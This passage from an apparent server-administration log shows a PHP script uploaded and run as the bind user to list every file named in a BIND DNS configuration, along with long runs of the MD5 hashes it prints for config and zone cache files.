MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 16:35:15: Establishing a connection
2026-04-30 16:35:16: 

PUT: /tmp/pkp504520

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 16:35:16: 

runuser -l bind -s /bin/bash -c '/tmp/pkp504520; rm /tmp/pkp504520'

2026-04-30 16:35:16: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
